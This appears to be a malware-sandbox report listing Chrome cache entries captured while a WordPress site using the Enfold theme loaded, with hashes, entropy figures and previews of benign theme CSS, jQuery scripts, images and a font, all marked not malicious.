SSDEEP:	192:jng3ULb9+theoDIsxXlLrpump9sA/4qlAVXK0gYRTi:LgvHeo3rpwq+XZTi
MD5:	19B9D06C2A8C2FF3C6DF17B9DC237A1F
SHA1:	424700D33DC23FA4D2EC4BEA38D63ECFB986AE57
SHA-256:	1794CBE30B683A510A088F59EE0CC901769234AB9FFA4C96226620209C6BE5BA
SHA-512:	5BF1FF663733BB6785836333522FA6C5F4DDF24DA3EB721216FC767AB6BDB5F89165C91293CDA8D93D72BBA4E0709F9790E8BF5A2ECE1B174FBBEDE28D826341
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.css?ver=6.0.9
Preview:	./* ======================================================================================================================================================.Slideshow.====================================================================================================================================================== */..avia-slideshow{position: relative; margin:50px 0; width:100%; clear: both; overflow: hidden;}..flex_column .avia-slideshow{ margin:20px 0; }..flex_column .avia-slideshow.avia-builder-el-no-sibling{margin-top:0px;}...avia-slideshow-inner{padding:0; margin: 0; position: relative; overflow: hidden; width:100%;}.#top .av-default-height-applied .avia-slideshow-inner{height:0px;}..avia-slideshow li{padding:0; margin: 0; list-style-type: none; list-style-position: outside; position: absolute; visibility: hidden; z-index: 1; top:0; left:0; width:100%; clear:both; opacity: 0; overflow: hidden;}..avia-slideshow li:first-child{position: relative; visibility: visible; z-index: 3;}..a

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	706
Entropy (8bit):	4.350290640622491
Encrypted:	false
SSDEEP:	12:2DbNt0Bk6qCWGHyeJktvjKLZHql2e9GBqHmTXFBTl2XiUMJu/b:2DbNuBk6qCpJ8LKLZ62eaTXFT2/MJu/b
MD5:	6DB3D0D2AADAB21A9E90678B672948D4
SHA1:	C6661AF97C02277DB3B67111DEC804BA75D69E58
SHA-256:	33A4663017547D3173AC7167C868398484FFCD6F609657B085F12E132AA89E55
SHA-512:	6655AC453A8A3980F4F584002930259E7FBD5ED92E33A539FD729E304728B60AE63527BC658482A10714F8FA9D5B035D61EF2D4ACFE83DE269A9C6234F6D7D9C
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// testimonial shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_testimonial = function(options)..{...return this.each(function()...{....var container = $(this), elements = container.find('.avia-testimonial');........//trigger displaying of thumbnails....container.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this);......setTimeout(function(){ element.addClass('avia_start_animation') }, (i * 150));.....});....});...});..}...}(jQuery));

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2056 x 494, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	97851
Entropy (8bit):	7.418342536849731
Encrypted:	false
SSDEEP:	1536:gNDhIrbNufH3QrUzXvDAnd2qJZfk3kcQwxZqXsBwMY9ZbjgAQH7AUUUUUQ:gzIrbwfHmUzDycAskpwxwXswFZbK7AUc
MD5:	B44FCDE83AC201F3581D012822B45D97
SHA1:	02C9071FBBE144A620072CE75942F23506F520C9
SHA-256:	94AAFBBDF656C831AC157DB9D42508A5485FABA8073A611D1AF2C941AA5EDE04
SHA-512:	4B3CEE10052785993D5BC3CC20CC8C5A247CE8751DF7962D4C15754EB461642F258D9256F6C5C2C18961285C1447EF18457AEF7537A03C265A9FC7B908969F6D
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png
Preview:	.PNG........IHDR.....................pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1051 x 630, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	834032
Entropy (8bit):	7.994041545331016
Encrypted:	true
SSDEEP:	12288:7Ht2ldZazO/7FjxHExIDonrXaYEpX/l3J3hcgGS13VTOxExP6FzVkqCJic:7Ht2ldZ+5x6orKvVJxLGuVTOixPgqN
MD5:	93A185206C73A36128C4CADB337B0666
SHA1:	C19C0B471FD903D0B5433E2079B3D0488F2B508F
SHA-256:	05AECB32FCBC40E6F291A94FC3D347A6CDA7161E0DFC633106C47507C8B397BC
SHA-512:	6922A942E79E2C7552AF8D894C0D1F9421E280379A8C5BF9260CF29CC748BD44ED0176D540860C8279475B89596B49BFB83489F26286C7C9F2ADDC40BB3B344D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v........z....IDATx....%I.....HV?\.....Q..y0. .U...Y.\..p.... ........?0....?....`n.\.oV...an..g...7...........?....S.V..>. ...\|}O..w7..-7.~.n.....q...~7...n...h.dq=...:...;.......8`X.&^S]S}..{......^....za.=k.6..\.&......'..0.7...z..nn..........?.~..X..>.i.N...}X.........qj9..3.+..C.......b../.\|.N.i..u.h....S.j.s.....X....47.4....].....b...p....=._^.9..Z..}:;.....x!....iL...bn.psG...z...m....`..n........].3\..~.]\|..]....m.[.p].c....D..........p.&]K.+Y]c.u7.wv=.....y.....5.s..w....u...m-.7.Z.c......\|.%.{.5....XSb..h.....V^..k....1od....i. ?k.S...^.k8d}4x.]..}..4..r.k.h^.3@..q.....F.>b..Bm....8>,Ck.....aM.?.m./..}.....:_.....5V./.Z.....L..Y._\|>^.S.E....c....?...i}..jX?.9.W.w.a\|>.....K.i........L.............O......5..]_o.g....n...~....6@..p-r*...A..(..@.....VUQ\|..U.6.8[.@.o.r....\@saj......b..M.......Z.h1... ]E.i.."m._.t.49...)...t .h=k~.~...p.9.....h...Y....UY........2..\...A..\?3..}..Y.\.WE.....a.&@..m"[.O;.._2..".+.

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	2614
Entropy (8bit):	4.25236334924111
Encrypted:	false
SSDEEP:	48:+B9FFoxAiuKFGUOKKqwwSwiPy5L38+OPKBcYDZw/phVH:+gnjuhwO9pX
MD5:	D04321D5048164334182443686794A6F
SHA1:	CE12CBB4C4FB8F95E5F2DDC828219B90191493F7
SHA-256:	124E8E2A19152AB9EF3BF75F89A0128EF5B93ED639C162DDBAF0BBE752803D77
SHA-512:	4D0047769528992E0CE36F45CF835E9132C3A83FA6771A8260B30A9FE90F189366CE2DF8000BA027FCDC2A8CA0F90F843C465CF42A5F6830E2B38BCA51D11FA2
Malicious:	false
Reputation:	low
Preview:	(function($) {.. "use strict";.. $(document).ready(function() {.. $('.avia_auto_toc').each(function(){.. var $toc_section = $(this).attr('id');. var $levels = 'h1';. var $levelslist = new Array();. var $excludeclass = '';.. var $toc_container = $(this).find('.avia-toc-container');.. if ($toc_container.length){. var $levels_attr = $toc_container.attr('data-level');. var $excludeclass_attr = $toc_container.attr('data-exclude');.. if(typeof $levels_attr !== undefined) {. $levels = $levels_attr;. }. if(typeof $excludeclass_attr !== undefined) {. $excludeclass = $excludeclass_attr;. }. }.. $levelslist = $levels.split(',');.. $('.entry-content-wrapper').find($levels).each( function() {.. var $h_id = $(this).attr('id');. var $t

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	849
Entropy (8bit):	4.501336493442654
Encrypted:	false
SSDEEP:	12:2aSUqG+HMVVwVwBFe1D+WGkv+sDeTbmRoeIROMfDzMzvs7/laXfLsbvsWsKm7aXr:2rMVVw2BFe4w5Ksoe5QcDsbueb
MD5:	18ED7837CAAADC19C343B8C9BDFD9248
SHA1:	5200AAFAA57ED6071899FDC920947AD0A6FAB137
SHA-256:	3831E5C07B5FAB004471D91C7654B71924A24B85A05BA271D19A62348A5CF565
SHA-512:	763A2A90C169EB086D9E4A313615BF8B0ABA44CC6E33E7D8B2AD3B06BD36C0EA9E4C4A073EA17E8100DDCB656D8C0014D848C3B70E259A17ABAC2F8621A47215
Malicious:	false
Reputation:	low
Preview:	(function($).{.."use strict";..// -------------------------------------------------------------------------------------------.// makes sure that the fixed container height is removed once the layerslider is loaded, so it adapts to the screen resolution.// -------------------------------------------------------------------------------------------..$.fn.layer_slider_height_helper = function(options).{..return this.each(function()..{...var container .= $(this),....first_div .= container.find('>div:first'),....timeout .= false,....counter .= 0,....reset_size .= function()....{.....if(first_div.height() > 0 \|\| counter > 5).....{......container.height('auto');.....}.....else.....{......timeout = setTimeout(reset_size, 500);......counter++;.....}....};....if(!first_div.length) return;....timeout = setTimeout(reset_size, 0);..});.}...}(jQuery));

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1920
Entropy (8bit):	4.6284279802511925
Encrypted:	false
SSDEEP:	24:4okR/orGeuvKYaXailaHfxKAOx4jnx9/iAMgbZFMy9mDt/Z9J/bJ/FiS13HFjTYG:4zZ+GeM0wtnHHbrYnx
MD5:	7436232E3249F4A931CA655BDF232776
SHA1:	1D082675EE9E11676F087C39B3200A0D94D143ED
SHA-256:	AE2475180F22803176D5B7642390F1C098C8E4FE0BF1315FB62776A7224C0B6B
SHA-512:	4B9ECC23592474E9C50698065AAB6C36974F1C8672BBE576F2E7118112A0073D6D120C04B48F3971304AB9216C68EF35B0278E842D5E098AD8B587AC247B5CBA
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Text Rotator.====================================================================================================================================================== */.#top .av-rotator-container{position: relative; }.#top .av-rotator-container-inner{position: relative; line-height: 1.1em; margin:0; font-weight:300; text-transform:none; color:inherit; font-size: inherit;}.#top p.av-rotator-container .av-rotator-container-inner{line-height: 1.1em;}..av-rotator-text, .av-rotator-text-single{position: relative; display: inline; }....av-rotator-text-single{display: none; top:0; }..av-rotator-text-single:first-child{display: inline-block;}..av-typewriter .av-rotator-text-single:first-child{display: inline;}...#top .av-rotator-container a:hover{text-decoration: underline;}..av-fixed-rotator-width .av-rotator-text{text-align: left; display: in

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46554)
Category:	downloaded
Size (bytes):	46555
Entropy (8bit):	5.273836830118638
Encrypted:	false
SSDEEP:	384:lFPBIqz5d+KWtC5YvqoV0bJjc0i8lODACZwc060V5p:zmqzDt5Yv5Vu5BaLw97R
MD5:	CF9D22F3EE084B5B9B3F43ABF602A988
SHA1:	5FA33DE95B6EEB69BB70AF2177352CF656388751
SHA-256:	684E82D57E0E22CFE1EA891AE71A007654C2EB7E69CCCA318351EE9D0E9CF644
SHA-512:	6EECE35ADD3BEBD26B241477F2FFF7FDF57594990096277F7E197ED943FFAEE7A8DDF5696CFB1965C6F404C5CA9123DDE3A086307E7FA93C775F3521D9AFBB1E
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1
Preview:	#sb_instagram {width: 100%;margin: 0 auto;padding: 0;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;}#sb_instagram:after{content: "";display: table;clear: both;}#sb_instagram.sbi_fixed_height{overflow: hidden;overflow-y: auto;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;}#sb_instagram #sbi_images{-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;}#sb_instagram .sbi_header_link {-webkit-box-shadow: none;box-shadow: none;}#sb_instagram .sbi_header_link:hover {border: none;}#sb_instagram #sbi_images .sbi_item{display: inline-block;width: 100%;vertical-align: top;zoom: 1;margin: 0 !important;text-decoration: none;opacity: 1;overflow: hidden;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;-webkit-transition: all 0.5s ease;-moz-transition: all 0.5s ease;-o-transition: all 0.5s ease;transition: all 0.5s ease;}#sb_instagram #sbi_images .sbi_item.sbi_transiti

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2614
Entropy (8bit):	4.25236334924111
Encrypted:	false
SSDEEP:	48:+B9FFoxAiuKFGUOKKqwwSwiPy5L38+OPKBcYDZw/phVH:+gnjuhwO9pX
MD5:	D04321D5048164334182443686794A6F
SHA1:	CE12CBB4C4FB8F95E5F2DDC828219B90191493F7
SHA-256:	124E8E2A19152AB9EF3BF75F89A0128EF5B93ED639C162DDBAF0BBE752803D77
SHA-512:	4D0047769528992E0CE36F45CF835E9132C3A83FA6771A8260B30A9FE90F189366CE2DF8000BA027FCDC2A8CA0F90F843C465CF42A5F6830E2B38BCA51D11FA2
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5
Preview:	(function($) {.. "use strict";.. $(document).ready(function() {.. $('.avia_auto_toc').each(function(){.. var $toc_section = $(this).attr('id');. var $levels = 'h1';. var $levelslist = new Array();. var $excludeclass = '';.. var $toc_container = $(this).find('.avia-toc-container');.. if ($toc_container.length){. var $levels_attr = $toc_container.attr('data-level');. var $excludeclass_attr = $toc_container.attr('data-exclude');.. if(typeof $levels_attr !== undefined) {. $levels = $levels_attr;. }. if(typeof $excludeclass_attr !== undefined) {. $excludeclass = $excludeclass_attr;. }. }.. $levelslist = $levels.split(',');.. $('.entry-content-wrapper').find($levels).each( function() {.. var $h_id = $(this).attr('id');. var $t

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5652)
Category:	dropped
Size (bytes):	70105
Entropy (8bit):	5.0346659128132245
Encrypted:	false
SSDEEP:	768:7iLcOLAfHjpoM0hvTzWbjd3JSS7hMmGV/z74ybRG0vNpXrRLoZ0NRqovJ+zG0Jco:7iLNLAfH2hvTzWHdkS9GV/z74YJ+9cPw
MD5:	F91DA3B6621BE518E3C492F2745595FB
SHA1:	DF4EEFB154B5716480512A0D3E53124276E00ECA
SHA-256:	6CF4E6314E1FF943BC5184762FE965602680F93993C65AEB39F901D7CDF79194
SHA-512:	D84FB037119466837FBC2B3C2642092AE33B9A257A9BB39A1987D6260A81A223D3C30CD59E2D6C9B0CB6AAB33AAE242827771703BD170F83100780D42EB2F1D1
Malicious:	false
Reputation:	low
Preview:	(function($).{.. "use strict";... $(document).ready(function(). {. . var aviabodyclasses = AviaBrowserDetection('html');....$.avia_utilities = $.avia_utilities \|\| {};...if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement). .{. ..$.avia_utilities.isMobile = true;. .}. .else. .{. ..$.avia_utilities.isMobile = false;. .}....//activates the hamburger mobile menu...avia_hamburger_menu();... . //show scroll top but1ton. avia_scroll_top_fade();. . //calculate width of content. aviaCalcContentWidth();. . //creates search tooltip. new $.AviaTooltip({"class": 'avia-search-tooltip',data: 'avia-search-tooltip', event:'click', position:'bottom', scope: "body", attach:'element', within_screen: true});.. //creates relate posts tooltip. new $.AviaTooltip({"class": 'avia-related-tooltip', d

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	11409
Entropy (8bit):	4.883982385160355
Encrypted:	false
SSDEEP:	192:mLvIhQIf7L7qyxhkqOLwU+BMCSdipHbh/sHW2t:d7YwU14CWK
MD5:	3C24FA8B7479769FC1CCC5F77BE95B66
SHA1:	3DF5C8561476B3EBE2338334D0E0AA14A8EADE82
SHA-256:	A3B3A5A471B2D41CF340D47E3BBE21E481FDC3A15D5E838309596877832723A1
SHA-512:	6E3AB9D45A6A7A3161B45E62F5633DBA069C6919AD84E4BE15E8153231BEB83C11382911A68826E61A8B21031970D0455FBE70A9C4CF7D413CB05A93DFF1B622
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Avia AJAX Portfolio.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";..$.avia_utilities = $.avia_utilities \|\| {};......// -------------------------------------------------------------------------------------------..//Portfolio sorting..// -------------------------------------------------------------------------------------------.. $.fn.avia_iso_sort = function(options)..{...return this.each(function()...{....var the_body..= $('body'),.....container..= $(this),.....portfolio_id.= container.data('portfolio-id'),.....parentContainer.= container.parents('.entry-content-wrapper, .avia-fullwidth-portfolio'),.....filter...= parentContainer.find('.sort_width_container[data-portfolio-id="' + portfolio_id + '"]').find('#js_sort_items').css({visibility:"visible", opacity:0}),.....links...= filter.find('a'),.....imgParent.

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1848
Entropy (8bit):	4.724894714024008
Encrypted:	false
SSDEEP:	24:2dkKIhW0puBkkamo8oMOOMU3p7yU8GfZgQi5OW3qcP3GdhWQ70C+hW0trhW6cdWs:EkTMBjZdoMkE75iQijN+bt76lfBSJkS
MD5:	146901F0A263E01098AB0D0F146E47A5
SHA1:	6079F2CB25B97B9F7EE0D73355C3683AC12996F5
SHA-256:	E4A796EB71E0DAD51E33142B80AAAF859C496CCCF824E6396BA7653BB75C4E03
SHA-512:	94142747B7C433344F3FBAF5B32D51E41902B896D7288166155214DCA17844C9BF2E9FE83DC961785DA4213DD7771C5C51FEC5D96983C892A930B5BBB1049D5E
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9
Preview:	(function($).{ .."use strict";.. $(window).on('load', function (e) {...$('.avia-icongrid-flipbox').avia_sc_icongrid();. });....// -------------------------------------------------------------------------------------------..// Icongrid shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_icongrid = function(options)..{...return this.each(function()...{....var container = $(this),. icongrid_id = '#' + $(this).attr('id'),. methods;.. methods =....{.....buildIconGrid: function () {.. this.setMinHeight($(icongrid_id + ' li article'));. this.createFlipBackground($(icongrid_id + ' li'));.......},......setMinHeight: function (els) {.......if (els.length < 2) return;.......var elsHeights = new Array();......els.css('min-height', '0').each(function (i) {.......var current = $(this);.......var currentHeight = current.outerHeight(true)

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	685
Entropy (8bit):	4.353846854825342
Encrypted:	false
SSDEEP:	12:2r/t0BkT8WGSzReJmKLEl2e9GBqHmTXFBTl2XFuUMJutMb:2LuBkgMIJmKLA2eaTXFT21uUMJuWb
MD5:	0E4728339010DF1327BE3712965E0BB5
SHA1:	969FE827736729AC4B593308FE5B97506B209EBF
SHA-256:	1951200C247279D31F6C253F3018ED34ABD57B0D20B62C34352FC57BF10D8CDA
SHA-512:	11324FFBA55A77D85F466A1E9C3817CDF4B832FAD07C87AA6C41976EE437FB5733B6F5C7D199D61E9E8A6963A16F346E693FFF2EC52B63B22D2AEC25FC7B1166
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Iconlist shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_iconlist = function(options)..{...return this.each(function()...{....var iconlist = $(this), elements = iconlist.find('>li');........//trigger displaying of thumbnails....iconlist.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this);......setTimeout(function(){ element.addClass('avia_start_animation') }, (i * 350));.....});....});...});..}.....}(jQuery));

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2104
Entropy (8bit):	4.895184444356603
Encrypted:	false
SSDEEP:	48:O5KX2hykEYvnmr3cfUpwTe1BFpwVkwbmowQpw3hwOV7wBpZH:622hZEY+r3OH4WH
MD5:	7FC4E70A2076C827E4991441CEC84F6A
SHA1:	D11479D83A0002EE84F6B748DFD760AD89B71B66
SHA-256:	1D05E4D2FA1A179E5854B72F536EFA09739EB9FF8FF1D44DAA827CACCA1018C4
SHA-512:	B5BF5E0BA9037515F8FC4942EFE00D044029EC488C198BA95D0B84247B78DA29A0719BA935A9F0420D8408136E91C8853BF594A6EDE2D36667A19AC691973858
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_maps/google_maps.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================..GOOGLE MAPS..====================================================================================================================================================== */.....avia-google-maps-section{border:none;}...avia-google-maps-section.avia-builder-el-0{border-top-style: solid; border-top-width: 1px;}...avia-google-map-container{position: relative; clear:both;}...avia-google-map-container img { max-width: none; }...avia-google-map-container div, .avia-google-map-container img, .avia-google-map-container a{..-webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box;}...avia-google-map-container .gm-style-iw p {color: #444;}.......av_gmaps_sc_main_wrap .avia-google-map-container.avia-google-map-sc{...background: no-repeat center;...background-size: cover;..}.....av_gmaps_sc_main_wrap .av_text_confirm_link{

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5652)
Category:	downloaded
Size (bytes):	70105
Entropy (8bit):	5.0346659128132245
Encrypted:	false
SSDEEP:	768:7iLcOLAfHjpoM0hvTzWbjd3JSS7hMmGV/z74ybRG0vNpXrRLoZ0NRqovJ+zG0Jco:7iLNLAfH2hvTzWHdkS9GV/z74YJ+9cPw
MD5:	F91DA3B6621BE518E3C492F2745595FB
SHA1:	DF4EEFB154B5716480512A0D3E53124276E00ECA
SHA-256:	6CF4E6314E1FF943BC5184762FE965602680F93993C65AEB39F901D7CDF79194
SHA-512:	D84FB037119466837FBC2B3C2642092AE33B9A257A9BB39A1987D6260A81A223D3C30CD59E2D6C9B0CB6AAB33AAE242827771703BD170F83100780D42EB2F1D1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia.js?ver=4.5
Preview:	(function($).{.. "use strict";... $(document).ready(function(). {. . var aviabodyclasses = AviaBrowserDetection('html');....$.avia_utilities = $.avia_utilities \|\| {};...if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement). .{. ..$.avia_utilities.isMobile = true;. .}. .else. .{. ..$.avia_utilities.isMobile = false;. .}....//activates the hamburger mobile menu...avia_hamburger_menu();... . //show scroll top but1ton. avia_scroll_top_fade();. . //calculate width of content. aviaCalcContentWidth();. . //creates search tooltip. new $.AviaTooltip({"class": 'avia-search-tooltip',data: 'avia-search-tooltip', event:'click', position:'bottom', scope: "body", attach:'element', within_screen: true});.. //creates relate posts tooltip. new $.AviaTooltip({"class": 'avia-related-tooltip', d

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3874
Entropy (8bit):	4.868159924024015
Encrypted:	false
SSDEEP:	96:UpEuZVBaSROpC2naxByjCdGUXoJoxKycxQQhzAY1RTspAQ1mOy:4bZq/4joJoTcfbTEof
MD5:	AC668671BD365BB72715B266F9271104
SHA1:	C709DE79489609DCD4F3E997A3881122C20A1AAA
SHA-256:	6FFCCFD49D5B0B8C3483C78672A281C00DFB05651E7BDA6495152EABEF75058C
SHA-512:	25938F838C08653CB92BF8D95370BF5ECC9EACA39958E441E3FE51BDFA71C7C89016395E0F00BEA6E948DF864498930FC7F0BAEF1C8528A73EACB8C2FAA89BB2
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9
Preview:	(function($).{ .."use strict";..$.avia_utilities = $.avia_utilities \|\| {};....$(document).ready(function(). {.... //activates the sticky submenu...$.avia_utilities = $.avia_utilities \|\| {};. if($.avia_utilities.avia_sticky_submenu)...$.avia_utilities.avia_sticky_submenu(); . });......$.avia_utilities.avia_sticky_submenu = function()..{...var win ..= $(window),....html ..= $('html:first'),....header .= $('.html_header_top.html_header_sticky #header'),....html_margin = parseInt( $('html:first').css('margin-top'), 10),....setWitdth.= $('.html_header_sidebar #main, .boxed #main'),....menus..= $('.av-submenu-container'),....bordermod.= html.is('.html_minimal_header') ? 0 : 1,....fixed_frame.= $('.av-frame-top').height(),....calc_margin.= function()....{.....html_margin = parseInt( html.css('margin-top'), 10);.....if(!$('.mobile_menu_toggle:visible').length).....{......$('.av-open-submenu').removeClass('av-open-submenu');.....}..........menus.filter('.av-sticky-submenu').each(f

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2124
Entropy (8bit):	4.810467341015722
Encrypted:	false
SSDEEP:	24:JZzSObV8Jbig1pojcF8yiH4/oSholrKkFgJT8VNue0M1aAYnS7nrsr1AZHXS0g:J0Ob6trrZKvHmJh4lA43uXM1dYCNO
MD5:	359A244DC809F6EE98EB8C04BF404CB0
SHA1:	75063A0520C42BE40D91E8920EFAB982BCB00326
SHA-256:	15A14687E664CC2869FE6ACC64B27F459CA2B527C968A9C831FE13920E097C43
SHA-512:	F044EBDF8BD4F1E2269C7538998467A7D8B584DB3D479D9AC8F729056719BB98BED170E25040A920741F0D95F09BD685CBDC0699FA6698DA12F75A634ADB63C0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Countdown.====================================================================================================================================================== */...av-countdown-timer{clear:both; position: relative; opacity: 0; margin:30px 0;}..av-countdown-timer-inner{display: table; width: 100%; table-layout: fixed;}..av-countdown-timer-inner:hover {text-decoration: none;}..av-countdown-cell{display: table-cell; }..av-countdown-cell-inner{display: block; margin:1px 1px 0 0; padding:20px;}..av-countdown-time{display: block; font-size:40px; line-height: 1em; font-weight:100; color:inherit; text-decoration: none;}..av-countdown-time-label{display: block; text-transform: uppercase; color:inherit; overflow: hidden; text-overflow: ellipsis; -moz-hyphens: inherit; line-height: 1.65em;}..av-countdown-timer-title{display: block; font-size:3

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 30804, version 1.0
Category:	downloaded
Size (bytes):	30804
Entropy (8bit):	7.989962080794974
Encrypted:	false
SSDEEP:	768:7YYjvXZLsgasr521gdWs5GO7fshyrHuu+Ukk:MYjvXZLzDd95z1HdT
MD5:	A1AEB367498D7280CD2246F4974E988A
SHA1:	57058B69EA614E2BDEE874E882A92C4F32058C4D
SHA-256:	75E801B453BD677C68D4AF036055B3036B8FC0390A76BF4661AB50E22B1137EE
SHA-512:	090AD18AA879F6504C18C57E6F65537689BD6C3D99EC7F8CB432AB4C38257DC6209D852A9FBCA9E02C15E99825162568D2CA5578328BFB8CF0C2498E2AC505F3
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/assets/fonts/entypo-fontello.woff
